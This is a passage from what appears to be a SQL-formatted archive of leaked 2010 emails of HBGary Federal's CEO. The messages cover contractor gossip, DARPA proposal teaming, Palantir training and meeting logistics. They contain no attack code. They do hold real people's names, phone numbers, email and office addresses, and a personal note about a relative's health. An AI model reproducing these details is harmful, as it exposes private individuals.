resigned last Friday! Woohoo!&nbsp;\r\n\r\nJoy T Williams Northrop\r\nGrumman Information SystemsNetCentric\r\nInformation OperationsDepartment\r\nAdministrator1795\r\nJet Wing Drive, Suite 200Colorado\r\nSprings, CO 80916719-622-5500Fax:719-622-5101Efax:\r\n978-684-3865Email:\r\njoy.williams@ngc.com&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Tuesday, February 16, 2010 10:58 AM\r\nTo: Williams, Joy T (IS)\r\nSubject: Re: Guess who is leaving the company?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nWho???\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 16, 2010, at 12:12 PM, \"Williams, Joy T (IS)\" &lt;JOY.WILLIAMS@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;Joy T\r\nWilliams Northrop\r\nGrumman Information SystemsNetCentric\r\nInformation OperationsDepartment\r\nAdministrator1795 Jet Wing\r\nDrive, Suite 200Colorado\r\nSprings, CO 80916719-622-5500Fax:719-622-5101Efax:\r\n978-684-3865Email: joy.williams@ngc.com&nbsp;&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',10601,'aaron_hbgary_com/10601.html'),(2701,'2010-02-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001256.M853903P3547Q2701.eml','\"Ted Vera\" <tedvera@me.com>','Re: Hey there boss-man','When u get a chance check out the content for the website. &nbsp;Are we going to put it up? &nbsp;Do you have access to the site? &nbsp;I would like to get it up this week. &nbsp;I will have the content done tonight or tomorrow by the latest. &nbsp;Review and make comments.AaronOn Feb 16, 2010, at 10:21 AM, Ted Vera wrote:Begin forwarded message:From: Matt Furman &lt;Matthew.Furman@ngc.com&gt;Date: February 16, 2010 10:18:30 AM ESTTo: Ted Vera &lt;tedvera@mac.com&gt;Subject: Hey there boss-man\r\n\r\n\r\n  \r\n\r\n\r\n  \r\n  LinkedInMatt Furman has sent you a message.\r\n  Date:\r\n  2/16/2010\r\n\r\n  Subject:\r\n  Hey there boss-man\r\n\r\n  There are times that just seem to be more trying than others. Geez, this place is a friggin\' roller-coaster! Sorry I haven\'t kept in better touch. My father has been in the hospital off and on since Xmas - had double bypass surgery, lung surgery, and they fused two vertebrae. Scary. \r\nI promise now that things on the family front are more settled, to stay in better touch. Work SUCKS - and you know how much I like to develop. Seems like the left and right hands of this place are on different continents and wavelengths. Makes it hard on everyone. Tawny, Jeremiah, and myself just stood up a completely CG Film Production Company last week called Triskelion Films. I think Jeremiah and Tawny are a part of it just because they need an outlet for their creativity - hell, I\'m not complaining. We\'re going to construct a full feature film based on a script I wrote. Going to purchase a MoCap system and everything. Pretty wild huh? Shoot me a message when you get time. This LinkedIn site is a good way to converse \'under the radar\' of the Gestapo. Hope your day is a good one.\r\n\r\nMatt\r\nAspiring young film-business owner\r\nDirector of the soon-to-be-released epic, \'Suday &amp; Andani\' (buy advanced copies now!!! :-)\r\n\r\n\r\nOn January 26, 2010 8:30 AM, Ted Vera wrote:\r\n--------------------\r\nI\'d like to add you to my professional network on LinkedIn.\r\n\r\n- Ted Vera\r\nView/reply to this messageDon\'t want to receive e-mail notifications? Adjust your message settings.© 2010, LinkedIn Corporation\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',1098,'aaron_hbgary_com/1098.html'),(2702,'2010-02-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001257.M152837P3547Q2702.eml','\"Gibbs, Kevin (Xetron)\" <Kevin.Gibbs@ngc.com>','Re: Emailing: Integrated Cyber Defense & Support Technologies - Federal Business Opportunities Opportunities.mht','Kevin,Did u make it?AaronOn Feb 13, 2010, at 12:53 PM, Gibbs, Kevin (Xetron) wrote:\r\n\r\nThat should be good...&nbsp;thanks,&nbsp;do you want me to bring anything with me?\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]Sent: Fri 2/12/2010 9:54 PMTo: Gibbs, Kevin (Xetron)Cc: Masterson, Brian (Xetron); Henderson, Michael L. (Xetron)Subject: Re: Emailing: Integrated Cyber Defense &amp; Support Technologies - Federal Business Opportunities Opportunities.mht\r\nSorry Kevin... \r\n\r\nPalantir session is all day on the 16th at the Sacramento HBGary facility.\r\n3604 Fair Oaks Blvd Suite 250Sacramento, CA 95864Phone | 916.459.4727\r\n\r\nDo you need anything else?\r\n\r\nAaron\r\n\r\nOn Feb 12, 2010, at 4:03 PM, Gibbs, Kevin (Xetron) wrote:\r\n\r\n\r\n\r\nStill haven\'t seen any info on this.....\r\n\r\n\r\nFrom: Masterson, Brian (Xetron)Sent: Thu 2/11/2010 4:18 PMTo: \'aaron@hbgary.com\'Cc: Henderson, Michael L. (Xetron); Gibbs, Kevin (Xetron)Subject: Re: Emailing: Integrated Cyber Defense &amp; Support Technologies - Federal Business Opportunities Opportunities.mht\r\nHey, Can you send kevin the info for tuesday?&nbsp; He is one of our senior guys. ----- Original Message ----- From: Aaron Barr &lt;aaron@hbgary.com&gt; To: Masterson, Brian (Xetron) Sent: Thu Feb 11 15:09:13 2010 Subject: Re: Emailing: Integrated Cyber Defense &amp; Support Technologies - Federal Business Opportunities Opportunities.mhtwhat is this file?&nbsp; I can\'t open it.&nbsp; Its some sort of web archive file? On Feb 11, 2010, at 12:21 PM, Masterson, Brian (Xetron) wrote: &gt; &lt;Integrated Cyber Defense &amp; Support Technologies - Federal Business Opportunities Opportunities.mht&gt; Aaron Barr CEO HBGary Federal Inc. \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',8576,'aaron_hbgary_com/8576.html'),(2703,'2010-02-16','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001257.M395591P3547Q2703.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Guess who is leaving the company?','Mark said some other comapny not sure which one. Different customer too.On Feb 16, 2010, at 1:42 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nwhere is he going?On Feb 16, 2010, at 1:35 PM, Ted Vera wrote:\r\nBegin forwarded message:From: &quot;Williams, Joy T (IS)&quot; &lt;JOY.WILLIAMS@ngc.com&gt;\r\n\r\nDate: February 16, 2010 12:59:25 PM ESTTo: &quot;Ted Vera&quot; &lt;ted@hbgary.com&gt;Subject: RE: Guess who is leaving the company?\r\n\r\n\r\n\r\nJAKE!!!\r\nHe resigned last Friday! Woohoo! \r\n\r\nJoy T Williams Northrop\r\nGrumman Information SystemsNetCentric\r\nInformation OperationsDepartment\r\nAdministrator1795\r\nJet Wing Drive, Suite 200Colorado\r\nSprings, CO 80916719-622-5500Fax:719-622-5101\r\nEfax:\r\n978-684-3865Email:\r\njoy.williams@ngc.com \r\n\r\n\r\n \r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Tuesday, February 16, 2010 10:58 AM\r\nTo: Williams, Joy T (IS)\r\nSubject: Re: Guess who is leaving the company?\r\n\r\n\r\n\r\n \r\n\r\nWho???\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 16, 2010, at 12:12 PM, &quot;Williams, Joy T (IS)&quot; &lt;JOY.WILLIAMS@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\nJoy T\r\nWilliams Northrop\r\nGrumman Information SystemsNetCentric\r\nInformation OperationsDepartment\r\nAdministrator1795 Jet Wing\r\nDrive, Suite 200Colorado\r\nSprings, CO 80916719-622-5500\r\nFax:719-622-5101\r\nEfax:\r\n978-684-3865Email: joy.williams@ngc.com\r\n  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n',11147,'aaron_hbgary_com/11147.html'),(2704,'2010-02-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001257.M616204P3547Q2704.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Guess who is leaving the company?','Interesting.On Feb 16, 2010, at 2:04 PM, Ted Vera wrote:Mark said some other comapny not sure which one. Different customer too.On Feb 16, 2010, at 1:42 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nwhere is he going?On Feb 16, 2010, at 1:35 PM, Ted Vera wrote:\r\nBegin forwarded message:From: \"Williams, Joy T (IS)\" &lt;JOY.WILLIAMS@ngc.com&gt;\r\n\r\nDate: February 16, 2010 12:59:25 PM ESTTo: \"Ted Vera\" &lt;ted@hbgary.com&gt;Subject: RE: Guess who is leaving the company?\r\n\r\n\r\n\r\nJAKE!!!\r\nHe resigned last Friday! Woohoo!&nbsp;\r\n\r\nJoy T Williams Northrop\r\nGrumman Information SystemsNetCentric\r\nInformation OperationsDepartment\r\nAdministrator1795\r\nJet Wing Drive, Suite 200Colorado\r\nSprings, CO 80916719-622-5500Fax:719-622-5101Efax:\r\n978-684-3865Email:\r\njoy.williams@ngc.com&nbsp;\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Tuesday, February 16, 2010 10:58 AM\r\nTo: Williams, Joy T (IS)\r\nSubject: Re: Guess who is leaving the company?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nWho???\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 16, 2010, at 12:12 PM, \"Williams, Joy T (IS)\" &lt;JOY.WILLIAMS@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\nJoy T\r\nWilliams Northrop\r\nGrumman Information SystemsNetCentric\r\nInformation OperationsDepartment\r\nAdministrator1795 Jet Wing\r\nDrive, Suite 200Colorado\r\nSprings, CO 80916719-622-5500Fax:719-622-5101\r\nEfax:\r\n978-684-3865Email: joy.williams@ngc.com\r\n&nbsp;&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',8331,'aaron_hbgary_com/8331.html'),(2705,'2010-02-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001257.M799669P3547Q2705.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Guess who is leaving the company?','http://www.mandiant.com/about/contracts/How important is it we are on this?AaronOn Feb 16, 2010, at 2:04 PM, Ted Vera wrote:Mark said some other comapny not sure which one. Different customer too.On Feb 16, 2010, at 1:42 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nwhere is he going?On Feb 16, 2010, at 1:35 PM, Ted Vera wrote:\r\nBegin forwarded message:From: \"Williams, Joy T (IS)\" &lt;JOY.WILLIAMS@ngc.com&gt;\r\n\r\nDate: February 16, 2010 12:59:25 PM ESTTo: \"Ted Vera\" &lt;ted@hbgary.com&gt;Subject: RE: Guess who is leaving the company?\r\n\r\n\r\n\r\nJAKE!!!\r\nHe resigned last Friday! Woohoo!&nbsp;\r\n\r\nJoy T Williams Northrop\r\nGrumman Information SystemsNetCentric\r\nInformation OperationsDepartment\r\nAdministrator1795\r\nJet Wing Drive, Suite 200Colorado\r\nSprings, CO 80916719-622-5500Fax:719-622-5101Efax:\r\n978-684-3865Email:\r\njoy.williams@ngc.com&nbsp;\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Tuesday, February 16, 2010 10:58 AM\r\nTo: Williams, Joy T (IS)\r\nSubject: Re: Guess who is leaving the company?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nWho???\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 16, 2010, at 12:12 PM, \"Williams, Joy T (IS)\" &lt;JOY.WILLIAMS@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\nJoy T\r\nWilliams Northrop\r\nGrumman Information SystemsNetCentric\r\nInformation OperationsDepartment\r\nAdministrator1795 Jet Wing\r\nDrive, Suite 200Colorado\r\nSprings, CO 80916719-622-5500Fax:719-622-5101\r\nEfax:\r\n978-684-3865Email: joy.williams@ngc.com\r\n&nbsp;&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',5672,'aaron_hbgary_com/5672.html'),(2706,'2010-02-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001257.M993905P3547Q2706.eml','\"Ted Vera\" <ted@hbgary.com>','Something to reach for.','Qualified Incident Response Assessorhttp://www.scmagazineus.com/how-to-choose-a-qira/article/140397/\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',571,'aaron_hbgary_com/571.html'),(2707,'2010-02-16','\"Gibbs, Kevin (Xetron)\" <Kevin.Gibbs@ngc.com>','/aaron@hbgary.com/new/1297001258.M187336P3547Q2707.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Emailing: Integrated Cyber Defense & Support Technologies - Federal Business Opportunities Opportunities.mht','\r\n\r\n\r\n\r\n\r\nNope I got stuck in Memphis last night, and just got back to Cincinnati.. the best option they had for travel today got me there at 5PM, so I came back instead...\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]Sent: Tue 2/16/2010 2:03 PMTo: Gibbs, Kevin (Xetron)Subject: Re: Emailing: Integrated Cyber Defense &amp; Support Technologies - Federal Business Opportunities Opportunities.mht\r\nKevin, \r\n\r\nDid u make it?\r\nAaron\r\n\r\n\r\nOn Feb 13, 2010, at 12:53 PM, Gibbs, Kevin (Xetron) wrote:\r\n\r\n\r\n\r\nThat should be good...&nbsp;thanks,&nbsp;do you want me to bring anything with me?\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]Sent: Fri 2/12/2010 9:54 PMTo: Gibbs, Kevin (Xetron)Cc: Masterson, Brian (Xetron); Henderson, Michael L. (Xetron)Subject: Re: Emailing: Integrated Cyber Defense &amp; Support Technologies - Federal Business Opportunities Opportunities.mht\r\nSorry Kevin... \r\n\r\nPalantir session is all day on the 16th at the Sacramento HBGary facility.\r\n3604 Fair Oaks Blvd Suite 250Sacramento, CA 95864Phone | 916.459.4727\r\n\r\nDo you need anything else?\r\n\r\nAaron\r\n\r\nOn Feb 12, 2010, at 4:03 PM, Gibbs, Kevin (Xetron) wrote:\r\n\r\n\r\n\r\nStill haven\'t seen any info on this.....\r\n\r\n\r\nFrom: Masterson, Brian (Xetron)Sent: Thu 2/11/2010 4:18 PMTo: \'aaron@hbgary.com\'Cc: Henderson, Michael L. (Xetron); Gibbs, Kevin (Xetron)Subject: Re: Emailing: Integrated Cyber Defense &amp; Support Technologies - Federal Business Opportunities Opportunities.mht\r\n\r\nHey, Can you send kevin the info for tuesday?&nbsp; He is one of our senior guys. \r\n----- Original Message ----- From: Aaron Barr &lt;aaron@hbgary.com&gt; To: Masterson, Brian (Xetron) Sent: Thu Feb 11 15:09:13 2010 Subject: Re: Emailing: Integrated Cyber Defense &amp; Support Technologies - Federal Business Opportunities Opportunities.mht\r\nwhat is this file?&nbsp; I can\'t open it.&nbsp; Its some sort of web archive file? \r\nOn Feb 11, 2010, at 12:21 PM, Masterson, Brian (Xetron) wrote: \r\n&gt; &lt;Integrated Cyber Defense &amp; Support Technologies - Federal Business Opportunities Opportunities.mht&gt; \r\nAaron Barr CEO HBGary Federal Inc. \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n',7856,'aaron_hbgary_com/7856.html'),(2708,'2010-02-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001258.M687285P3547Q2708.eml','\"Gibbs, Kevin (Xetron)\" <Kevin.Gibbs@ngc.com>','Re: Emailing: Integrated Cyber Defense & Support Technologies - Federal Business Opportunities Opportunities.mht','ok see you in a few days.AaronOn Feb 16, 2010, at 2:38 PM, Gibbs, Kevin (Xetron) wrote:\r\n\r\nNope I got stuck in Memphis last night, and just got back to Cincinnati.. the best option they had for travel today got me there at 5PM, so I came back instead...\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]Sent: Tue 2/16/2010 2:03 PMTo: Gibbs, Kevin (Xetron)Subject: Re: Emailing: Integrated Cyber Defense &amp; Support Technologies - Federal Business Opportunities Opportunities.mht\r\nKevin, \r\n\r\nDid u make it?\r\nAaron\r\n\r\n\r\nOn Feb 13, 2010, at 12:53 PM, Gibbs, Kevin (Xetron) wrote:\r\n\r\n\r\n\r\nThat should be good...&nbsp;thanks,&nbsp;do you want me to bring anything with me?\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]Sent: Fri 2/12/2010 9:54 PMTo: Gibbs, Kevin (Xetron)Cc: Masterson, Brian (Xetron); Henderson, Michael L. (Xetron)Subject: Re: Emailing: Integrated Cyber Defense &amp; Support Technologies - Federal Business Opportunities Opportunities.mht\r\nSorry Kevin... \r\n\r\nPalantir session is all day on the 16th at the Sacramento HBGary facility.\r\n3604 Fair Oaks Blvd Suite 250Sacramento, CA 95864Phone | 916.459.4727\r\n\r\nDo you need anything else?\r\n\r\nAaron\r\n\r\nOn Feb 12, 2010, at 4:03 PM, Gibbs, Kevin (Xetron) wrote:\r\n\r\n\r\n\r\nStill haven\'t seen any info on this.....\r\n\r\n\r\nFrom: Masterson, Brian (Xetron)Sent: Thu 2/11/2010 4:18 PMTo: \'aaron@hbgary.com\'Cc: Henderson, Michael L. (Xetron); Gibbs, Kevin (Xetron)Subject: Re: Emailing: Integrated Cyber Defense &amp; Support Technologies - Federal Business Opportunities Opportunities.mht\r\nHey, Can you send kevin the info for tuesday?&nbsp; He is one of our senior guys. ----- Original Message ----- From: Aaron Barr &lt;aaron@hbgary.com&gt; To: Masterson, Brian (Xetron) Sent: Thu Feb 11 15:09:13 2010 Subject: Re: Emailing: Integrated Cyber Defense &amp; Support Technologies - Federal Business Opportunities Opportunities.mhtwhat is this file?&nbsp; I can\'t open it.&nbsp; Its some sort of web archive file? On Feb 11, 2010, at 12:21 PM, Masterson, Brian (Xetron) wrote: &gt; &lt;Integrated Cyber Defense &amp; Support Technologies - Federal Business Opportunities Opportunities.mht&gt; Aaron Barr CEO HBGary Federal Inc. \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',6862,'aaron_hbgary_com/6862.html'),(2709,'2010-02-16','\"John Farrell\" <john@endgames.us>','/aaron@hbgary.com/new/1297001258.M913861P3547Q2709.eml','aaron@hbgary.com','Re: Did u want to catch up here or there?','If you are going to Cinci on Thurs, we could meet out there? When do you fly out?\r\nJohn M Farrell\r\nVP Federal, Endgame Systems\r\n703.622.9025 M\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr \r\nTo: John Farrell\r\nSent: Tue Feb 16 11:40:01 2010\nSubject: Did u want to catch up here or there?\r\n\r\nI have a pretty open afternoon, 4pm meeting.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',12403,'aaron_hbgary_com/12403.html'),(2710,'2010-02-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001259.M104789P3547Q2710.eml','\"John Farrell\" <john@endgames.us>','Re: Did u want to catch up here or there?','Tomorrow 2pm.  I have thursday meetings with various parts of the Xetron team related to the IRAD and some other pursuits like the Darpa BAA, ONR, etc.  I spoke to NG seniors on Friday to make sure we were going to get the necessary support for the effort and internal bickering wasn\'t going to cause us issues.  Everyone seems supportive.\r\n\r\nAaron\r\n\r\nOn Feb 16, 2010, at 2:44 PM, John Farrell wrote:\r\n\r\n> If you are going to Cinci on Thurs, we could meet out there? When do you fly out?\r\n> John M Farrell\r\n> VP Federal, Endgame Systems\r\n> 703.622.9025 M\r\n> \r\n> ----- Original Message -----\r\n> From: Aaron Barr \r\n> To: John Farrell\r\n> Sent: Tue Feb 16 11:40:01 2010\r\n> Subject: Did u want to catch up here or there?\r\n> \r\n> I have a pretty open afternoon, 4pm meeting.\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',16575,'aaron_hbgary_com/16575.html'),(2711,'2010-02-16','\"Aubrey MERCHANT DEST\" <Aubrey.MERCHANTDEST@qosmos.com>','/aaron@hbgary.com/new/1297001259.M347850P3547Q2711.eml','\"Aaron Barr\" <aaron@hbgary.com>','Accepted: Invitation: Meeting with Qosmos @ Tue Mar 2 2pm - 3:30pm 	(aubrey.merchantdest@qosmos.com)','',6516,'aaron_hbgary_com/6516.html'),(2712,'2010-02-16','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297001259.M626140P3547Q2712.eml','\"John L. Cox, CPA\" <johncoxcpa@verizon.net>,\"John L. Cox, CPA\" <johncoxcpa@verizon.net>,','RE: HBGary Federal LLC','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThat goes to Aaron and Ted.&nbsp; It\r\nlooked fine to me.&nbsp; I still need to log my time for HBGary Federal but I will\r\ndo that today\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: John L. Cox, CPA\r\n[mailto:johncoxcpa@verizon.net] \r\nSent: Tuesday, February 09, 2010 11:32 AM\r\nTo: \'Penny Leavy\'\r\nSubject: HBGary Federal LLC\r\nImportance: High\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nPenny,\r\n\r\n&nbsp;\r\n\r\nDo you know when you will get to the review of the HBGary\r\nFederal LLC tax returns?&nbsp; I will not assemble until you say it is okay.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nJohn L. Cox, CPA\r\n\r\n12107\r\n  Faith Lane\r\n\r\nBowie, Maryland 20715\r\n\r\n(240) 949-6022 Voice \r\n\r\n(866) 750-1973 Fax\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nThis\r\nmessage contains information that may be confidential and privileged. Unless\r\nyou are the addressee (or authorized to receive for the addressee), you may not\r\nuse, copy, print or disclose to anyone the message or any information contained\r\nin the message. If you have received this e-mail in error, please advise the\r\nsender by reply and delete the message. Thank you.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12862,'aaron_hbgary_com/12862.html'),(2713,'2010-02-16','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297001259.M841624P3547Q2713.eml','\"Upchurch, Jason R.\" <jason.upchurch@gd-ais.com>,\"Harbison, Michael J.\" <Michael.Harbison@gd-ais.com>,\"Rodriguez, Harold\" <Harold.Rodriguez@gd-ais.com>,\"Raygoza, Daniel\" <Daniel.Raygoza@gd-ais.com>,\"Bojaxhi, Hermes\" <Hermes.Bojaxhi@gd-ais.com>,\"Lotas, Michael S.\" <Michael.Lotas@gd-ais.com>,\"Harlow, Douglas M.\" <Douglas.Harlow@gd-ais.com>,\"Wenthold, Russell L.\" <russ.wenthold@gd-ais.com>,\"McFadden, Frank E.\" <Frank.McFadden@gd-ais.com>,\"Wilson, Ben N.\" <Ben.Wilson@gd-ais.com>,\"Schmidt, Ken J.\" <Ken.Schmidt@gd-ais.com>,\"Kowalski, Bobby Jim\" <BJ.Kowalski@gd-ais.com>,\"Johnson, Eric M.\" <eric.johnson@gd-ais.com>,\"Aaron Barr (HBGary)\" <aaron@hbgary.com>,\"Ted Vera (HBGary)\" <ted@hbgary.com>,\"Bob Slapnik (HBGary)\" <bob@hbgary.com>,\"Greg Hoglund (HBGary)\" <greg@hbgary.com>,\"Rich Cummings (HBGary)\" <rich@hbgary.com>','GD/HBGary: technical interchange: RE: DARPA Cyber Genome BAA','\r\n\r\n\r\n\r\n\r\nGD/HBGary: technical interchange: RE: DARPA Cyber Genome BAA\r\n\r\n\r\n\r\n\r\nWhen: Wednesday, February 17, 2010 2:30 PM-4:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: 866-765-5631, code 5057292#\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nGD &amp; HBGary: technical interchange: RE: DARPA Cyber Genome BAA\r\n\r\n866-765-5631, code 5057292#\r\n\r\n\r\n\r\n-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Technical interchange between HBGary and GD on innovative technical ideas for the DARPA Cyber Genome BAA\r\n\r\n-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Greg Hoglund of HBGary is expected to attend this meeting\r\n\r\n-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; We will also touch on\r\n\r\no&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; GD / HBGary teaming approach\r\n\r\n&#167;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Who primes what\r\n\r\n&#167;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Templates for establishing teaming agreements\r\n\r\no&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Customer and competitive intelligence\r\n\r\n\r\n\r\n\r\n\r\nCyber Genome DARPA-BAA-10-36:\r\n\r\nhttps://www.fbo.gov/index?tab=documents&amp;s=opportunity&amp;mode=form&amp;id=c34caee99a41eb14d4ca81949d4f2fde&amp;tabmode=list \r\n\r\nDARPA-BAA-10-36_Cyber_Genome _01.28.2010.docx (2409.73 kb)\r\n\r\n\r\n\r\n\r\n\r\nQuestions? Contact:\r\n\r\nChris Starr, 571-216-6140, Chris.Starr@gd-ais.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3127,'aaron_hbgary_com/3127.html'),(2714,'2010-02-16','\"LinkedIn Connections\" <connections@linkedin.com>','/aaron@hbgary.com/new/1297001260.M322639P3547Q2715.eml','\"Aaron Barr\" <aaron@hbgary.com>','Lee Carrick has accepted your LinkedIn invitation','\r\n\r\n  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nInvitation Accepted\r\n\r\n\r\n&nbsp;\r\n\r\nCongratulations! You and Lee are now connected.\r\n\r\n \r\n   \r\n   View Lee\'s profile to:\r\n     \r\n       Download Lee\'s current contact information\r\n       Write a recommendation for Lee\r\n       Find opportunities through Lee\'s network\r\n       See who you know in common\r\n     \r\n   &nbsp;\r\n   \r\n   Continue building your network:Every person you connect with builds value for you and all your connections.\r\n \r\n\r\n\r\n&nbsp;\r\n&nbsp;\r\n If these links are not working, you can paste the following address into your browser: http://www.linkedin.com/e/74GQgvacGxZR3E5O7EOQw5Eauzi/fpf/8756225/ Thank you for using LinkedIn! -- The LinkedIn Team\r\nhttp://www.linkedin.com/\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&copy; 2010, LinkedIn Corporation\r\n\r\n\r\n\r\n',2183,'aaron_hbgary_com/2183.html'),(2715,'2010-02-16','\"Paul Hadjy\" <phadjy@palantirtech.com>','/aaron@hbgary.com/new/1297001260.M99442P3547Q2714.eml','msteckman@palantirtech.com','Palantir Analyst Training','Greetings!\r\n\r\nOn behalf of Palantir, I would like to formally invite you to the latest iteration of the One Day Analyst Training which will be held at our offices in Mclean, VA on 2/23/2010 9:00 AM. I’m truly looking forward to meeting all of you (provided I don’t know you already) and sharing my knowledge of the most powerful and dynamic analysis platform available to the US intelligence community.   \r\n\r\nLocation:\r\n\r\n1660 International Dr. \r\nSuite 800\r\nMclean Va, 22102\r\n\r\n(For those of you familiar with the Tysons Corner, VA area, we’re near the Galleria)\r\n\r\nAttached is a PDF with directions and contact information.  In addition, you can view a map here: http://www.palantirtech.com/contact/locations.\r\n\r\nClass Time:\r\n\r\nThe session will begin promptly, and it will go the whole day…with breakfast, breaks, lunch, video games, foosball, an assortment of regular and adult beverages provided. Please keep in mind, that the traffic conditions around the Tyson’s Corner of Mclean can be quite intense so budget your drive time accordingly.\r\n\r\nWhile we recognize that many of you are local, for those of you that aren’t, here is some information regarding travel and accommodations.\r\n\r\nParking:\r\n\r\nIt is best to Park in front of the building where there are generally open spaces for guests. If you cannot find an open space, please feel free to call our receptionist for help at 808-271-3824\r\n\r\nAgain, I’m looking forward to meeting you soon.  Please let me know if you have any questions, and don’t hesitate to call me at the number listed below.\r\n\r\nCheers,',3369,'aaron_hbgary_com/3369.html'),(2716,'2010-02-16','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001261.M429676P3547Q2716.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Fwd: Trying to apply to an open position','Aaron and Ted,\r\n \r\nLooks like a possible candidate for HBG Fed. R/E skills, TS and full poly, lives in MD.\r\n \r\nBob\r\n---------- Forwarded message ----------From: Chris 